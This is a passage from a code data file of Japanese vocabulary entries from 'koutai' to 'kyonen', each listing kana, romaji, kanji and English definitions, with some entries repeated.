na':'こうたい',\n\t\t'romaji':'koutai',\n\t\t'kanji':'交替',\n\t\t'definition':\"alternation;change;relief;relay;shift\"\n\t},\n\n\t{\n\t\t'kana':'こうたい',\n\t\t'romaji':'koutai',\n\t\t'kanji':'後退',\n\t\t'definition':\"retreat;backspace (BS)\"\n\t},\n\n\t{\n\t\t'kana':'こうたく',\n\t\t'romaji':'koutaku',\n\t\t'kanji':'光沢',\n\t\t'definition':\"brilliance;polish;lustre;glossy finish (of photographs)\"\n\t},\n\n\t{\n\t\t'kana':'こうてい',\n\t\t'romaji':'koutei',\n\t\t'kanji':'肯定',\n\t\t'definition':\"positive;affirmation\"\n\t},\n\n\t{\n\t\t'kana':'こうてい',\n\t\t'romaji':'koutei',\n\t\t'kanji':'校庭',\n\t\t'definition':\"campus\"\n\t},\n\n\t{\n\t\t'kana':'こうとう',\n\t\t'romaji':'koutou',\n\t\t'kanji':'高等',\n\t\t'definition':\"high class;high grade\"\n\t},\n\n\t{\n\t\t'kana':'こうとう',\n\t\t'romaji':'koutou',\n\t\t'kanji':'口頭',\n\t\t'definition':\"oral\"\n\t},\n\n\t{\n\t\t'kana':'こうとうがっこう',\n\t\t'romaji':'koutougakkou',\n\t\t'kanji':'高等学校',\n\t\t'definition':\"senior high school\"\n\t},\n\n\t{\n\t\t'kana':'こうつう',\n\t\t'romaji':'koutsuu',\n\t\t'kanji':'交通',\n\t\t'definition':\"communication;transportation;traffic;intercourse\"\n\t},\n\n\t{\n\t\t'kana':'こうつうきかん',\n\t\t'romaji':'koutsuukikan',\n\t\t'kanji':'交通機関',\n\t\t'definition':\"transportation facilities\"\n\t},\n\n\t{\n\t\t'kana':'こううん',\n\t\t'romaji':'kouun',\n\t\t'kanji':'幸運',\n\t\t'definition':\"good luck;fortune\"\n\t},\n\n\t{\n\t\t'kana':'こうよう',\n\t\t'romaji':'kouyou',\n\t\t'kanji':'紅葉',\n\t\t'definition':\"autumn colours;maple\"\n\t},\n\n\t{\n\t\t'kana':'こうよう',\n\t\t'romaji':'kouyou',\n\t\t'kanji':'紅葉',\n\t\t'definition':\"autumn colours;maple\"\n\t},\n\n\t{\n\t\t'kana':'こうよう',\n\t\t'romaji':'kouyou',\n\t\t'kanji':'公用',\n\t\t'definition':\"government business;public use;public expense\"\n\t},\n\n\t{\n\t\t'kana':'こうざん',\n\t\t'romaji':'kouzan',\n\t\t'kanji':'鉱山',\n\t\t'definition':\"mine (ore)\"\n\t},\n\n\t{\n\t\t'kana':'こうぜん',\n\t\t'romaji':'kouzen',\n\t\t'kanji':'公然',\n\t\t'definition':\"open (e.g. secret);public;official\"\n\t},\n\n\t{\n\t\t'kana':'こうぞう',\n\t\t'romaji':'kouzou',\n\t\t'kanji':'構造',\n\t\t'definition':\"structure;construction\"\n\t},\n\n\t{\n\t\t'kana':'こうずい',\n\t\t'romaji':'kouzui',\n\t\t'kanji':'洪水',\n\t\t'definition':\"flood\"\n\t},\n\n\t{\n\t\t'kana':'こわい',\n\t\t'romaji':'kowai',\n\t\t'kanji':'怖い',\n\t\t'definition':\"frightening;eerie\"\n\t},\n\n\t{\n\t\t'kana':'こわれる',\n\t\t'romaji':'kowareru',\n\t\t'kanji':'壊れる',\n\t\t'definition':\"to be broken;to break\"\n\t},\n\n\t{\n\t\t'kana':'こわす',\n\t\t'romaji':'kowasu',\n\t\t'kanji':'壊す',\n\t\t'definition':\"to break;to break down\"\n\t},\n\n\t{\n\t\t'kana':'こや',\n\t\t'romaji':'koya',\n\t\t'kanji':'小屋',\n\t\t'definition':\"hut;cabin;shed;(animal) pen\"\n\t},\n\n\t{\n\t\t'kana':'こよみ',\n\t\t'romaji':'koyomi',\n\t\t'kanji':'暦',\n\t\t'definition':\"calendar;almanac\"\n\t},\n\n\t{\n\t\t'kana':'こよう',\n\t\t'romaji':'koyou',\n\t\t'kanji':'雇用',\n\t\t'definition':\"employment (long term);hire\"\n\t},\n\n\t{\n\t\t'kana':'こゆび',\n\t\t'romaji':'koyubi',\n\t\t'kanji':'小指',\n\t\t'definition':\"little finger\"\n\t},\n\n\t{\n\t\t'kana':'こゆう',\n\t\t'romaji':'koyuu',\n\t\t'kanji':'固有',\n\t\t'definition':\"characteristic;tradition;peculiar;inherent;eigen-\"\n\t},\n\n\t{\n\t\t'kana':'こぜに',\n\t\t'romaji':'kozeni',\n\t\t'kanji':'小銭',\n\t\t'definition':\"coins;small change\"\n\t},\n\n\t{\n\t\t'kana':'こずえ',\n\t\t'romaji':'kozue',\n\t\t'kanji':'梢',\n\t\t'definition':\"treetop\"\n\t},\n\n\t{\n\t\t'kana':'く',\n\t\t'romaji':'ku',\n\t\t'kanji':'区',\n\t\t'definition':\"ward;district;section\"\n\t},\n\n\t{\n\t\t'kana':'く',\n\t\t'romaji':'ku',\n\t\t'kanji':'句',\n\t\t'definition':\"phrase;clause;sentence;passage;paragraph;expression;line;verse;stanze;17-syllable poem\"\n\t},\n\n\t{\n\t\t'kana':'く',\n\t\t'romaji':'ku',\n\t\t'kanji':'九',\n\t\t'definition':\"(num) nine\"\n\t},\n\n\t{\n\t\t'kana':'くばる',\n\t\t'romaji':'kubaru',\n\t\t'kanji':'配る',\n\t\t'definition':\"to distribute;to deliver\"\n\t},\n\n\t{\n\t\t'kana':'くべつ',\n\t\t'romaji':'kubetsu',\n\t\t'kanji':'区別',\n\t\t'definition':\"distinction;differentiation;classification\"\n\t},\n\n\t{\n\t\t'kana':'くび',\n\t\t'romaji':'kubi',\n\t\t'kanji':'首',\n\t\t'definition':\"neck\"\n\t},\n\n\t{\n\t\t'kana':'くびかざり',\n\t\t'romaji':'kubikazari',\n\t\t'kanji':'首飾り',\n\t\t'definition':\"necklace\"\n\t},\n\n\t{\n\t\t'kana':'くびわ',\n\t\t'romaji':'kubiwa',\n\t\t'kanji':'首輪',\n\t\t'definition':\"necklace;choker\"\n\t},\n\n\t{\n\t\t'kana':'くぶん',\n\t\t'romaji':'kubun',\n\t\t'kanji':'区分',\n\t\t'definition':\"division;section;demarcation;(traffic) lane;compartment;classification;sorting\"\n\t},\n\n\t{\n\t\t'kana':'くち',\n\t\t'romaji':'kuchi',\n\t\t'kanji':'口',\n\t\t'definition':\"mouth;orifice;opening\"\n\t},\n\n\t{\n\t\t'kana':'くち',\n\t\t'romaji':'kuchi',\n\t\t'kanji':'口',\n\t\t'definition':\"mouth;orifice;opening\"\n\t},\n\n\t{\n\t\t'kana':'くちばし',\n\t\t'romaji':'kuchibashi',\n\t\t'kanji':'嘴',\n\t\t'definition':\"beak;bill\"\n\t},\n\n\t{\n\t\t'kana':'くちべに',\n\t\t'romaji':'kuchibeni',\n\t\t'kanji':'口紅',\n\t\t'definition':\"lipstick\"\n\t},\n\n\t{\n\t\t'kana':'くちびる',\n\t\t'romaji':'kuchibiru',\n\t\t'kanji':'唇',\n\t\t'definition':\"lips\"\n\t},\n\n\t{\n\t\t'kana':'くちる',\n\t\t'romaji':'kuchiru',\n\t\t'kanji':'朽ちる',\n\t\t'definition':\"to rot\"\n\t},\n\n\t{\n\t\t'kana':'くちずさむ',\n\t\t'romaji':'kuchizusamu',\n\t\t'kanji':'口ずさむ',\n\t\t'definition':\"to hum something;to sing to oneself\"\n\t},\n\n\t{\n\t\t'kana':'くだける',\n\t\t'romaji':'kudakeru',\n\t\t'kanji':'砕ける',\n\t\t'definition':\"to break;to be broken\"\n\t},\n\n\t{\n\t\t'kana':'くだく',\n\t\t'romaji':'kudaku',\n\t\t'kanji':'砕く',\n\t\t'definition':\"to break;to smash\"\n\t},\n\n\t{\n\t\t'kana':'くだもの',\n\t\t'romaji':'kudamono',\n\t\t'kanji':'果物',\n\t\t'definition':\"fruit\"\n\t},\n\n\t{\n\t\t'kana':'くだん',\n\t\t'romaji':'kudan',\n\t\t'kanji':'件',\n\t\t'definition':\"example;precedent;the usual;the said;the above-mentioned;(man) in question\"\n\t},\n\n\t{\n\t\t'kana':'くだらない',\n\t\t'romaji':'kudaranai',\n\t\t'kanji':'下らない',\n\t\t'definition':\"good-for-nothing;stupid;trivial;worthless\"\n\t},\n\n\t{\n\t\t'kana':'くだり',\n\t\t'romaji':'kudari',\n\t\t'kanji':'下り',\n\t\t'definition':\"down-train (going away from Tokyo)\"\n\t},\n\n\t{\n\t\t'kana':'くだる',\n\t\t'romaji':'kudaru',\n\t\t'kanji':'下る',\n\t\t'definition':\"to get down;to descend\"\n\t},\n\n\t{\n\t\t'kana':'くださる',\n\t\t'romaji':'kudasaru',\n\t\t'kanji':'下さる',\n\t\t'definition':\"to give;to confer\"\n\t},\n\n\t{\n\t\t'kana':'くどい',\n\t\t'romaji':'kudoi',\n\t\t'kanji':'諄い',\n\t\t'definition':\"verbose;importunate;heavy (taste)\"\n\t},\n\n\t{\n\t\t'kana':'くふう',\n\t\t'romaji':'kufuu',\n\t\t'kanji':'工夫',\n\t\t'definition':\"device;scheme\"\n\t},\n\n\t{\n\t\t'kana':'くぎ',\n\t\t'romaji':'kugi',\n\t\t'kanji':'釘',\n\t\t'definition':\"nail\"\n\t},\n\n\t{\n\t\t'kana':'くぎり',\n\t\t'romaji':'kugiri',\n\t\t'kanji':'区切り',\n\t\t'definition':\"an end;a stop;punctuation\"\n\t},\n\n\t{\n\t\t'kana':'くぎる',\n\t\t'romaji':'kugiru',\n\t\t'kanji':'区切る',\n\t\t'definition':\"to punctuate;to cut off;to mark off;to stop;to put an end to\"\n\t},\n\n\t{\n\t\t'kana':'くぐる',\n\t\t'romaji':'kuguru',\n\t\t'kanji':'潜る',\n\t\t'definition':\"1. to drive;to pass through; 2. to evade;to hide; 3. to dive (into or under water);to go underground\"\n\t},\n\n\t{\n\t\t'kana':'くぐる',\n\t\t'romaji':'kuguru',\n\t\t'kanji':'潜る',\n\t\t'definition':\"1. to drive;to pass through; 2. to evade;to hide; 3. to dive (into or under water);to go underground\"\n\t},\n\n\t{\n\t\t'kana':'くいちがう',\n\t\t'romaji':'kuichigau',\n\t\t'kanji':'食い違う',\n\t\t'definition':\"to cross each other;to run counter to;to differ;to clash;to go awry\"\n\t},\n\n\t{\n\t\t'kana':'くいき',\n\t\t'romaji':'kuiki',\n\t\t'kanji':'区域',\n\t\t'definition':\"limits;boundary;domain;zone;sphere;territory\"\n\t},\n\n\t{\n\t\t'kana':'クイズ',\n\t\t'romaji':'kuizu',\n\t\t'kanji':'',\n\t\t'definition':\"quiz\"\n\t},\n\n\t{\n\t\t'kana':'くじ',\n\t\t'romaji':'kuji',\n\t\t'kanji':'旧事',\n\t\t'definition':\"past events;bygones\"\n\t},\n\n\t{\n\t\t'kana':'くじびき',\n\t\t'romaji':'kujibiki',\n\t\t'kanji':'籤引',\n\t\t'definition':\"lottery;drawn lot\"\n\t},\n\n\t{\n\t\t'kana':'くじょう',\n\t\t'romaji':'kujyou',\n\t\t'kanji':'苦情',\n\t\t'definition':\"complaint;troubles;objection\"\n\t},\n\n\t{\n\t\t'kana':'くかく',\n\t\t'romaji':'kukaku',\n\t\t'kanji':'区画',\n\t\t'definition':\"division;section;compartment;boundary;area;block\"\n\t},\n\n\t{\n\t\t'kana':'くかん',\n\t\t'romaji':'kukan',\n\t\t'kanji':'区間',\n\t\t'definition':\"section (of track etc)\"\n\t},\n\n\t{\n\t\t'kana':'くき',\n\t\t'romaji':'kuki',\n\t\t'kanji':'茎',\n\t\t'definition':\"stalk\"\n\t},\n\n\t{\n\t\t'kana':'くっきり',\n\t\t'romaji':'kukkiri',\n\t\t'kanji':'',\n\t\t'definition':\"distinctly;clearly;boldly\"\n\t},\n\n\t{\n\t\t'kana':'くみ',\n\t\t'romaji':'kumi',\n\t\t'kanji':'組',\n\t\t'definition':\"class;group;team;set\"\n\t},\n\n\t{\n\t\t'kana':'くみあい',\n\t\t'romaji':'kumiai',\n\t\t'kanji':'組合',\n\t\t'definition':\"association;union\"\n\t},\n\n\t{\n\t\t'kana':'くみあわせ',\n\t\t'romaji':'kumiawase',\n\t\t'kanji':'組み合わせ',\n\t\t'definition':\"combination\"\n\t},\n\n\t{\n\t\t'kana':'くみあわせる',\n\t\t'romaji':'kumiawaseru',\n\t\t'kanji':'組み合わせる',\n\t\t'definition':\"to join together;to combine;to join up\"\n\t},\n\n\t{\n\t\t'kana':'くみこむ',\n\t\t'romaji':'kumikomu',\n\t\t'kanji':'組み込む',\n\t\t'definition':\"to insert;to include;to cut in (printing)\"\n\t},\n\n\t{\n\t\t'kana':'くみたてる',\n\t\t'romaji':'kumitateru',\n\t\t'kanji':'組み立てる',\n\t\t'definition':\"to assemble;to set up;to construct\"\n\t},\n\n\t{\n\t\t'kana':'くも',\n\t\t'romaji':'kumo',\n\t\t'kanji':'雲',\n\t\t'definition':\"cloud\"\n\t},\n\n\t{\n\t\t'kana':'くもり',\n\t\t'romaji':'kumori',\n\t\t'kanji':'曇り',\n\t\t'definition':\"cloudiness;cloudy weather;shadow\"\n\t},\n\n\t{\n\t\t'kana':'くもる',\n\t\t'romaji':'kumoru',\n\t\t'kanji':'曇る',\n\t\t'definition':\"to become cloudy;to become dim\"\n\t},\n\n\t{\n\t\t'kana':'くむ',\n\t\t'romaji':'kumu',\n\t\t'kanji':'酌む',\n\t\t'definition':\"to serve sake\"\n\t},\n\n\t{\n\t\t'kana':'くむ',\n\t\t'romaji':'kumu',\n\t\t'kanji':'汲む',\n\t\t'definition':\"to draw (water);to ladle;to dip;to scoop;to pump;to have a drink together;to consider;to sympathize with\"\n\t},\n\n\t{\n\t\t'kana':'くむ',\n\t\t'romaji':'kumu',\n\t\t'kanji':'組む',\n\t\t'definition':\"to put together\"\n\t},\n\n\t{\n\t\t'kana':'くん',\n\t\t'romaji':'kun',\n\t\t'kanji':'君',\n\t\t'definition':\"Mr (junior);master;boy\"\n\t},\n\n\t{\n\t\t'kana':'くに',\n\t\t'romaji':'kuni',\n\t\t'kanji':'国',\n\t\t'definition':\"country\"\n\t},\n\n\t{\n\t\t'kana':'くに',\n\t\t'romaji':'kuni',\n\t\t'kanji':'国',\n\t\t'definition':\"country\"\n\t},\n\n\t{\n\t\t'kana':'くにざかい',\n\t\t'romaji':'kunizakai',\n\t\t'kanji':'国境',\n\t\t'definition':\"national or state border\"\n\t},\n\n\t{\n\t\t'kana':'くんれん',\n\t\t'romaji':'kunren',\n\t\t'kanji':'訓練',\n\t\t'definition':\"practice\"\n\t},\n\n\t{\n\t\t'kana':'くんしゅ',\n\t\t'romaji':'kunshu',\n\t\t'kanji':'君主',\n\t\t'definition':\"ruler;monarch\"\n\t},\n\n\t{\n\t\t'kana':'くら',\n\t\t'romaji':'kura',\n\t\t'kanji':'蔵',\n\t\t'definition':\"warehouse;cellar;magazine;granary;godown;depository;treasury;elevator\"\n\t},\n\n\t{\n\t\t'kana':'クーラー',\n\t\t'romaji':'ku-ra-',\n\t\t'kanji':'',\n\t\t'definition':\"cooler;air conditioner\"\n\t},\n\n\t{\n\t\t'kana':'くらべる',\n\t\t'romaji':'kuraberu',\n\t\t'kanji':'比べる',\n\t\t'definition':\"to compare\"\n\t},\n\n\t{\n\t\t'kana':'クラブ',\n\t\t'romaji':'kurabu',\n\t\t'kanji':'',\n\t\t'definition':\"club;crab\"\n\t},\n\n\t{\n\t\t'kana':'くらい',\n\t\t'romaji':'kurai',\n\t\t'kanji':'位',\n\t\t'definition':\"grade;rank;court order;dignity;nobility;situation;throne;crown;occupying a position;about;almost;as;rather;at least;enough to\"\n\t},\n\n\t{\n\t\t'kana':'くらい',\n\t\t'romaji':'kurai',\n\t\t'kanji':'暗い',\n\t\t'definition':\"dark;gloomy\"\n\t},\n\n\t{\n\t\t'kana':'くらい',\n\t\t'romaji':'kurai',\n\t\t'kanji':'位',\n\t\t'definition':\"grade;rank;court order;dignity;nobility;situation;throne;crown;occupying a position;about;almost;as;rather;at least;enough to\"\n\t},\n\n\t{\n\t\t'kana':'くらし',\n\t\t'romaji':'kurashi',\n\t\t'kanji':'暮らし',\n\t\t'definition':\"living;livelihood;subsistence;circumstances\"\n\t},\n\n\t{\n\t\t'kana':'クラス',\n\t\t'romaji':'kurasu',\n\t\t'kanji':'',\n\t\t'definition':\"class\"\n\t},\n\n\t{\n\t\t'kana':'くらす',\n\t\t'romaji':'kurasu',\n\t\t'kanji':'暮らす',\n\t\t'definition':\"to live;to get along\"\n\t},\n\n\t{\n\t\t'kana':'くれ',\n\t\t'romaji':'kure',\n\t\t'kanji':'暮れ',\n\t\t'definition':\"year end;sunset;nightfall;end\"\n\t},\n\n\t{\n\t\t'kana':'くれぐれも',\n\t\t'romaji':'kureguremo',\n\t\t'kanji':'呉れ呉れも',\n\t\t'definition':\"repeatedly;sincerely;earnestly\"\n\t},\n\n\t{\n\t\t'kana':'クレーン',\n\t\t'romaji':'kure-n',\n\t\t'kanji':'',\n\t\t'definition':\"crane\"\n\t},\n\n\t{\n\t\t'kana':'くれる',\n\t\t'romaji':'kureru',\n\t\t'kanji':'暮れる',\n\t\t'definition':\"to get dark;to end;to come to an end;to close;to run out\"\n\t},\n\n\t{\n\t\t'kana':'くれる',\n\t\t'romaji':'kureru',\n\t\t'kanji':'呉れる',\n\t\t'definition':\"to give;to let one have;to do for one;to be given\"\n\t},\n\n\t{\n\t\t'kana':'くりかえす',\n\t\t'romaji':'kurikaesu',\n\t\t'kanji':'繰り返す',\n\t\t'definition':\"to repeat;to do something over again\"\n\t},\n\n\t{\n\t\t'kana':'クリーム',\n\t\t'romaji':'kuri-mu',\n\t\t'kanji':'',\n\t\t'definition':\"cream\"\n\t},\n\n\t{\n\t\t'kana':'クリーニング',\n\t\t'romaji':'kuri-ningu',\n\t\t'kanji':'',\n\t\t'definition':\"cleaning;dry cleaning;laundry service\"\n\t},\n\n\t{\n\t\t'kana':'クリスマス',\n\t\t'romaji':'kurisumasu',\n\t\t'kanji':'',\n\t\t'definition':\"Christmas\"\n\t},\n\n\t{\n\t\t'kana':'くろ',\n\t\t'romaji':'kuro',\n\t\t'kanji':'黒',\n\t\t'definition':\"black;dark\"\n\t},\n\n\t{\n\t\t'kana':'くろい',\n\t\t'romaji':'kuroi',\n\t\t'kanji':'黒い',\n\t\t'definition':\"black\"\n\t},\n\n\t{\n\t\t'kana':'くろじ',\n\t\t'romaji':'kuroji',\n\t\t'kanji':'黒字',\n\t\t'definition':\"balance (figure) in the black\"\n\t},\n\n\t{\n\t\t'kana':'くろう',\n\t\t'romaji':'kurou',\n\t\t'kanji':'苦労',\n\t\t'definition':\"troubles;hardships\"\n\t},\n\n\t{\n\t\t'kana':'くろうと',\n\t\t'romaji':'kurouto',\n\t\t'kanji':'玄人',\n\t\t'definition':\"expert;professional;geisha;prostitute\"\n\t},\n\n\t{\n\t\t'kana':'くるま',\n\t\t'romaji':'kuruma',\n\t\t'kanji':'車',\n\t\t'definition':\"car;vehicle;wheel\"\n\t},\n\n\t{\n\t\t'kana':'くるま',\n\t\t'romaji':'kuruma',\n\t\t'kanji':'車',\n\t\t'definition':\"car;vehicle;wheel\"\n\t},\n\n\t{\n\t\t'kana':'くるむ',\n\t\t'romaji':'kurumu',\n\t\t'kanji':'包む',\n\t\t'definition':\"to be engulfed in;to be enveloped by;to wrap up;to tuck in;to pack;to do up;to cover with;to dress in;to conceal\"\n\t},\n\n\t{\n\t\t'kana':'くるむ',\n\t\t'romaji':'kurumu',\n\t\t'kanji':'包む',\n\t\t'definition':\"to be engulfed in;to be enveloped by;to wrap up;to tuck in;to pack;to do up;to cover with;to dress in;to conceal\"\n\t},\n\n\t{\n\t\t'kana':'くるしい',\n\t\t'romaji':'kurushii',\n\t\t'kanji':'苦しい',\n\t\t'definition':\"painful;difficult\"\n\t},\n\n\t{\n\t\t'kana':'くるしめる',\n\t\t'romaji':'kurushimeru',\n\t\t'kanji':'苦しめる',\n\t\t'definition':\"to torment;to harass;to inflict pain\"\n\t},\n\n\t{\n\t\t'kana':'くるしむ',\n\t\t'romaji':'kurushimu',\n\t\t'kanji':'苦しむ',\n\t\t'definition':\"to suffer;to groan;to be worried\"\n\t},\n\n\t{\n\t\t'kana':'くるう',\n\t\t'romaji':'kuruu',\n\t\t'kanji':'狂う',\n\t\t'definition':\"to go mad;to get out of order\"\n\t},\n\n\t{\n\t\t'kana':'くさ',\n\t\t'romaji':'kusa',\n\t\t'kanji':'草',\n\t\t'definition':\"grass\"\n\t},\n\n\t{\n\t\t'kana':'くさぐさ',\n\t\t'romaji':'kusagusa',\n\t\t'kanji':'種々',\n\t\t'definition':\"variety\"\n\t},\n\n\t{\n\t\t'kana':'くさい',\n\t\t'romaji':'kusai',\n\t\t'kanji':'臭い',\n\t\t'definition':\"stinking\"\n\t},\n\n\t{\n\t\t'kana':'くさり',\n\t\t'romaji':'kusari',\n\t\t'kanji':'鎖',\n\t\t'definition':\"chain\"\n\t},\n\n\t{\n\t\t'kana':'くさる',\n\t\t'romaji':'kusaru',\n\t\t'kanji':'腐る',\n\t\t'definition':\"to rot;to go bad\"\n\t},\n\n\t{\n\t\t'kana':'くせ',\n\t\t'romaji':'kuse',\n\t\t'kanji':'癖',\n\t\t'definition':\"a habit (often a bad habit i.e. vice);peculiarity\"\n\t},\n\n\t{\n\t\t'kana':'くしゃみ',\n\t\t'romaji':'kushami',\n\t\t'kanji':'嚏',\n\t\t'definition':\"sneeze\"\n\t},\n\n\t{\n\t\t'kana':'くし',\n\t\t'romaji':'kushi',\n\t\t'kanji':'櫛',\n\t\t'definition':\"comb\"\n\t},\n\n\t{\n\t\t'kana':'くしん',\n\t\t'romaji':'kushin',\n\t\t'kanji':'苦心',\n\t\t'definition':\"pain;trouble;anxiety;diligence;hard work\"\n\t},\n\n\t{\n\t\t'kana':'くっせつ',\n\t\t'romaji':'kussetsu',\n\t\t'kanji':'屈折',\n\t\t'definition':\"bending;indentation;refraction\"\n\t},\n\n\t{\n\t\t'kana':'くすぐったい',\n\t\t'romaji':'kusuguttai',\n\t\t'kanji':'擽ぐったい',\n\t\t'definition':\"ticklish\"\n\t},\n\n\t{\n\t\t'kana':'くすり',\n\t\t'romaji':'kusuri',\n\t\t'kanji':'薬',\n\t\t'definition':\"medicine\"\n\t},\n\n\t{\n\t\t'kana':'くすり',\n\t\t'romaji':'kusuri',\n\t\t'kanji':'薬',\n\t\t'definition':\"medicine\"\n\t},\n\n\t{\n\t\t'kana':'くすりゆび',\n\t\t'romaji':'kusuriyubi',\n\t\t'kanji':'薬指',\n\t\t'definition':\"ring finger\"\n\t},\n\n\t{\n\t\t'kana':'くたびれる',\n\t\t'romaji':'kutabireru',\n\t\t'kanji':'草臥れる',\n\t\t'definition':\"to get tired;to wear out\"\n\t},\n\n\t{\n\t\t'kana':'くとうてん',\n\t\t'romaji':'kutouten',\n\t\t'kanji':'句読点',\n\t\t'definition':\"punctuation marks\"\n\t},\n\n\t{\n\t\t'kana':'くつ',\n\t\t'romaji':'kutsu',\n\t\t'kanji':'靴',\n\t\t'definition':\"shoes;footwear\"\n\t},\n\n\t{\n\t\t'kana':'くつがえす',\n\t\t'romaji':'kutsugaesu',\n\t\t'kanji':'覆す',\n\t\t'definition':\"to overturn;to upset;to overthrow;to undermine\"\n\t},\n\n\t{\n\t\t'kana':'くつした',\n\t\t'romaji':'kutsushita',\n\t\t'kanji':'靴下',\n\t\t'definition':\"socks\"\n\t},\n\n\t{\n\t\t'kana':'くつう',\n\t\t'romaji':'kutsuu',\n\t\t'kanji':'苦痛',\n\t\t'definition':\"pain;agony\"\n\t},\n\n\t{\n\t\t'kana':'くっつける',\n\t\t'romaji':'kuttsukeru',\n\t\t'kanji':'くっ付ける',\n\t\t'definition':\"to attach\"\n\t},\n\n\t{\n\t\t'kana':'くっつく',\n\t\t'romaji':'kuttsuku',\n\t\t'kanji':'くっ付く',\n\t\t'definition':\"to adhere to;to keep close to\"\n\t},\n\n\t{\n\t\t'kana':'くう',\n\t\t'romaji':'kuu',\n\t\t'kanji':'食う',\n\t\t'definition':\"to eat\"\n\t},\n\n\t{\n\t\t'kana':'くうちゅう',\n\t\t'romaji':'kuuchuu',\n\t\t'kanji':'空中',\n\t\t'definition':\"sky;air\"\n\t},\n\n\t{\n\t\t'kana':'くうふく',\n\t\t'romaji':'kuufuku',\n\t\t'kanji':'空腹',\n\t\t'definition':\"hunger\"\n\t},\n\n\t{\n\t\t'kana':'くうき',\n\t\t'romaji':'kuuki',\n\t\t'kanji':'空気',\n\t\t'definition':\"air;atmosphere\"\n\t},\n\n\t{\n\t\t'kana':'くうこう',\n\t\t'romaji':'kuukou',\n\t\t'kanji':'空港',\n\t\t'definition':\"airport\"\n\t},\n\n\t{\n\t\t'kana':'くうそう',\n\t\t'romaji':'kuusou',\n\t\t'kanji':'空想',\n\t\t'definition':\"daydream;phantasy;fancy;vision\"\n\t},\n\n\t{\n\t\t'kana':'くわえる',\n\t\t'romaji':'kuwaeru',\n\t\t'kanji':'加える',\n\t\t'definition':\"to append;to sum up;to add (up);to include;to increase;to inflict\"\n\t},\n\n\t{\n\t\t'kana':'くわえる',\n\t\t'romaji':'kuwaeru',\n\t\t'kanji':'加える',\n\t\t'definition':\"to append;to sum up;to add (up);to include;to increase;to inflict\"\n\t},\n\n\t{\n\t\t'kana':'くわしい',\n\t\t'romaji':'kuwashii',\n\t\t'kanji':'詳しい',\n\t\t'definition':\"knowing very well;detailed;full;accurate\"\n\t},\n\n\t{\n\t\t'kana':'くわわる',\n\t\t'romaji':'kuwawaru',\n\t\t'kanji':'加わる',\n\t\t'definition':\"to join in;to accede to;to increase;to gain in (influence)\"\n\t},\n\n\t{\n\t\t'kana':'くやむ',\n\t\t'romaji':'kuyamu',\n\t\t'kanji':'悔やむ',\n\t\t'definition':\"to mourn\"\n\t},\n\n\t{\n\t\t'kana':'くやしい',\n\t\t'romaji':'kuyashii',\n\t\t'kanji':'悔しい',\n\t\t'definition':\"regrettable;mortifying;vexing\"\n\t},\n\n\t{\n\t\t'kana':'くず',\n\t\t'romaji':'kuzu',\n\t\t'kanji':'屑',\n\t\t'definition':\"waste;scrap\"\n\t},\n\n\t{\n\t\t'kana':'くずれる',\n\t\t'romaji':'kuzureru',\n\t\t'kanji':'崩れる',\n\t\t'definition':\"to collapse;to crumble\"\n\t},\n\n\t{\n\t\t'kana':'くずす',\n\t\t'romaji':'kuzusu',\n\t\t'kanji':'崩す',\n\t\t'definition':\"to destroy;to pull down;to make change (money)\"\n\t},\n\n\t{\n\t\t'kana':'キャッチ',\n\t\t'romaji':'kyachi',\n\t\t'kanji':'',\n\t\t'definition':\"catch\"\n\t},\n\n\t{\n\t\t'kana':'きゃっかん',\n\t\t'romaji':'kyakkan',\n\t\t'kanji':'客観',\n\t\t'definition':\"objective\"\n\t},\n\n\t{\n\t\t'kana':'きゃく',\n\t\t'romaji':'kyaku',\n\t\t'kanji':'客',\n\t\t'definition':\"guest;customer\"\n\t},\n\n\t{\n\t\t'kana':'きゃくほん',\n\t\t'romaji':'kyakuhon',\n\t\t'kanji':'脚本',\n\t\t'definition':\"scenario\"\n\t},\n\n\t{\n\t\t'kana':'きゃくま',\n\t\t'romaji':'kyakuma',\n\t\t'kanji':'客間',\n\t\t'definition':\"parlor;guest room\"\n\t},\n\n\t{\n\t\t'kana':'きゃくせき',\n\t\t'romaji':'kyakuseki',\n\t\t'kanji':'客席',\n\t\t'definition':\"guest seating\"\n\t},\n\n\t{\n\t\t'kana':'きゃくしょく',\n\t\t'romaji':'kyakushoku',\n\t\t'kanji':'脚色',\n\t\t'definition':\"dramatization (e.g. film)\"\n\t},\n\n\t{\n\t\t'kana':'キャンパス',\n\t\t'romaji':'kyanpasu',\n\t\t'kanji':'',\n\t\t'definition':\"campus\"\n\t},\n\n\t{\n\t\t'kana':'キャンプ',\n\t\t'romaji':'kyanpu',\n\t\t'kanji':'',\n\t\t'definition':\"camp\"\n\t},\n\n\t{\n\t\t'kana':'キャプテン',\n\t\t'romaji':'kyaputen',\n\t\t'kanji':'',\n\t\t'definition':\"captain\"\n\t},\n\n\t{\n\t\t'kana':'キャリア',\n\t\t'romaji':'kyaria',\n\t\t'kanji':'',\n\t\t'definition':\"career;career government employee\"\n\t},\n\n\t{\n\t\t'kana':'きょだい',\n\t\t'romaji':'kyodai',\n\t\t'kanji':'巨大',\n\t\t'definition':\"huge;gigantic;enormous\"\n\t},\n\n\t{\n\t\t'kana':'きょひ',\n\t\t'romaji':'kyohi',\n\t\t'kanji':'拒否',\n\t\t'definition':\"denial;veto;rejection;refusal\"\n\t},\n\n\t{\n\t\t'kana':'きょじゅう',\n\t\t'romaji':'kyojyuu',\n\t\t'kanji':'居住',\n\t\t'definition':\"residence\"\n\t},\n\n\t{\n\t\t'kana':'きょか',\n\t\t'romaji':'kyoka',\n\t\t'kanji':'許可',\n\t\t'definition':\"permission;approval\"\n\t},\n\n\t{\n\t\t'kana':'きょく',\n\t\t'romaji':'kyoku',\n\t\t'kanji':'局',\n\t\t'definition':\"channel (i.e. TV or radio);department;affair;situation\"\n\t},\n\n\t{\n\t\t'kana':'きょく',\n\t\t'romaji':'kyoku',\n\t\t'kanji':'曲',\n\t\t'definition':\"tune;piece of music\"\n\t},\n\n\t{\n\t\t'kana':'きょくげん',\n\t\t'romaji':'kyokugen',\n\t\t'kanji':'局限',\n\t\t'definition':\"limit;localize\"\n\t},\n\n\t{\n\t\t'kana':'きょくせん',\n\t\t'romaji':'kyokusen',\n\t\t'kanji':'曲線',\n\t\t'definition':\"curve\"\n\t},\n\n\t{\n\t\t'kana':'きょくたん',\n\t\t'romaji':'kyokutan',\n\t\t'kanji':'極端',\n\t\t'definition':\"extreme;extremity\"\n\t},\n\n\t{\n\t\t'kana':'きょねん',\n\t\t'romaji':'kyonen',\n\t\t'kanji':'去年',\n\t\t'definition':\"last 